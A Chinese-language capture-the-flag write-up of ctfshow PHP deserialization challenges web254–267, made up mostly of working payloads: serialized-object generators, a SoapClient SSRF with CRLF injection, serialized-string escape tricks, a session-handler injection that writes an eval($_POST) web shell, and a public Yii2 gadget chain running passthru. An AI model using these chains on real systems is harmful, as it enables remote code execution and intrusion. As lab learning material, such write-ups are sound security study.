参考:
https://y4tacker.blog.csdn.net/article/details/113588692
目录
web 254
如果username全等于我们传进去的值相同,则返回true,并返回flag
?username=xxxxxx&password=xxxxxx
web 255
user是一个反序列化,可以传一个类的序列化。
根上题一样,不过checkVI中的isVIP值需要我们自己设一个true
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web 256
只要username不等于password,其他和上面一样
class ctfShowUser{
public $username='xxxxxx';
public $password='123456';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$a= new ctfShowUser();
echo urlencode(serialize($a));
web 257
利用链为ctfShowUser::__destruct —> backDoor::getInfo
再把$class指向backDoor,backDoor中的code改一下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
/*
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
*/
}
/*
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
*/
class backDoor{
private $code='system("ls /");';
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
/*
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
*/
?>
web 258
同上,但是多了个过滤。
这过滤了,o或c:数字,这种格式的字符串
绕过:
例如O:11,变为O:+11
web 259
这题没有现成的类,所以我们可以用原生类来反序列化,构造ssrf,访问flag.php,并生成flag.txt。
详细了解可以到y4师傅的php讲解里面看,结合本地试试。
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.csdn.net/solitudi/article/details/113588692
我们通过一个例子来看一下:
```php
<?php
$a = new SoapClient(null,array('user_agent'=>'succ3\r\nContent-Type:application/x-www-form-urlencoded','uri'=>'bbb', 'location'=>'http://xxx.xxx.xxx.xxx:9328'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
?>
通过请求头我们可以详细的看到我们通过改user_agent的值并添加\r\n换行来构造我们的pop
Connection received on LAPTOP-LI8JDAVV.mshome.net 55947
POST / HTTP/1.1
Host: xxx.xxx.xx.xx:9328
Connection: Keep-Alive
User-Agent: succ3
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml; charset=utf-8
SOAPAction: "bbb#not_a_function"
Content-Length: 377
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="bbb" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_a_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>
这题已经帮我们调用一个不存在的方法名getFlag,会自动调用原生类中的__call函数。
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
//x-forworded-for:127.0.0.1
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
我们通过以构造脚本来看:
Content-length:13使得请求头读到token=ctfshow这边就结束了不在读了。
<?php
$a = new SoapClient(null,
array(
'user_agent' => "succ\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
'uri' => 'succ',
'location' => 'http://127.0.0.1/flag.php'
)
);
$b = serialize($a);
#$c = unserialize($b);
#$c->not_a_function();//调用不存在的方法,让SoapClient调用__call
echo urlencode($b);
web 260
serialize只会序列化类
ctfshow=ctfshow_i_love_36D
web 261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct(){
$this->username="877.php";
$this->password="<?php phpinfo();?>";
}
/*
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
//把类当成函数掉用的时候,调用此方法,这边用不到
eval($this->code);
}
public function __sleep(){
//执行序列化的时候调用此方法。
$this->username='';
$this->password='';
}
public function __unserialize($data){
//反序列化的时候调用,并且且不执行同一个类中的wakeup魔术方法。
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
//弱类型比较877a==0x36d
file_put_contents($this->username, $this->password);
}
}
*/
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
//unserialize($_GET['vip']);
?>
web 262
反序列化字符自增逃逸
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token;
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a=new message();
echo urlencode(serialize($a));
/*
添加的27个字符:";s:5:"token";s:5:"admin";}
原序列化:s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
*/
/*
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
*/
/*
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
*/
根据message.php的内容,再序列化后要使得token的值为admin
也就是";s:5:"token";s:5:"admin";}
一共27个字符,而在index.php种会把fuck替换为loveu,也就是4个字符边五个字符,多一个字符。所以我要加27个fuck。
序列化
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"【c";s:5:"token";s:5:"admin";}】
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:xxx:【"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}】c";s:5:"token";s:5:"admin";}
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:xxx:【"loveu*27"】;s:5:"token";s:5:"admin";} c";s:5:"token";s:5:"admin";}
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web 263
本题是session反序列化
session反序列化
Directive | 含义 |
---|---|
session.save_path | session保存路径。 |
session.serialize_handler | session序列化存储所用处理器。默认为php。 |
session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。 |
我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。
<?php
session_start();
$_SESSION['name'] = 'mochazz';
?>
当 session.serialize_handler=php
时,session文件内容为: name|s:7:"mochazz";
当 session.serialize_handler=php_serialize
时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}
当 session.serialize_handler=php_binary
时,session文件内容为: 二进制字符names:7:"mochazz";
而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入:
$_SESSION['name'] = '|username'
那么使用php_serialize引擎时可以得到序列化内容
a:1:{s:4:"name";s:4:"|username";}
在由php引擎反序列化的时候
a:1:{s:4:"name";s:4:"
被当作key
username
被当作value反序列化
源码分析
读取session键为limit的值,如果没有超过5,则通过cookie赋值session,所以session值是可控的,因为cookie是可控的,所以可能会产生session反序列化或者session文件包含。且会在check.php中在判断一下。
<?php
#index.php
error_reporting(0);
session_start(); //超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
因为chech.php这边包含了inc.php,且因为其中的ini_set('session.serialize_handler', 'php');
设置序列化引擎为php,也就是说php.ini里面的默认引擎应该为php_serialize
<?php
#chek.php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
#意思应该是在username处序列化
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
在inc.php中可以利用user类写入shell文件,又因为check.php是包含inc.php文件的所以,check.php自然也session_start();
#inc.php
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
攻击思路
先把序列化payload写出来
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$a = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo serialize($a)."<br>";
echo base64_encode('|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}')
?>
在index.php中修改cookie中的值为我们的base64编码后的payload,这样我们的shell已经上传了,但是还是需要user类存在,所以我们还要到check.php传一次,用来反序列化session,这样我们的shell文件就创建成功了,最后访问log-1.php,getshell就行了。
为什么还要在check.php里面传一次呢?
因为我们是通过user类来创建shell文件,只有check.php包含了inc.php,所以在check.php里面传一次,只是为了调用反序列化的时候能够调用user类罢了。
264
反序列化自增逃逸,不是session反序列化,因为这边的session不可控。
和262的payload一样,唯一的不同在于这边是写入session里面,然后会在message.php里面解码并反序列化,拿flag
<?php
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
<?php
#message.php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
在首页传入,在message.php页面运行。
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
265
赋地址
token是随机的,要想password全等于token,可以让password指向token的地址,地址相同,值自然也相同。
注意题目中的__construct是不会调用的,只有创建对象的时候才会调用它。
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
paylaod:
<?php
error_reporting(0);
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token;
}
}
$a = new ctfshowAdmin();
echo serialize($a);
O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
266
file_get_contents('php://input');
是执行post
PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分,所以我们在反序列化后大小写转换一下就可以了。
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
直接构造,然后大小写绕过
<?php
class ctfshow{
}
echo serialize(new Ctfshow());
不要用hackbar传,因为hackbar传post必须是xx=xxx的格式
burpsuit传post:O:7:"Ctfshow":0:{}
267
可以看到是2.0版本
弱密码admin,admin登录。
在page页面,可以看到一个参数
加入参数
/index.php?r=site%2Fabout&view-source
先用别人的poc打一下
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19fQ==
最终payload
/index.php?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19fQ==&view-source
先去学一波yii框架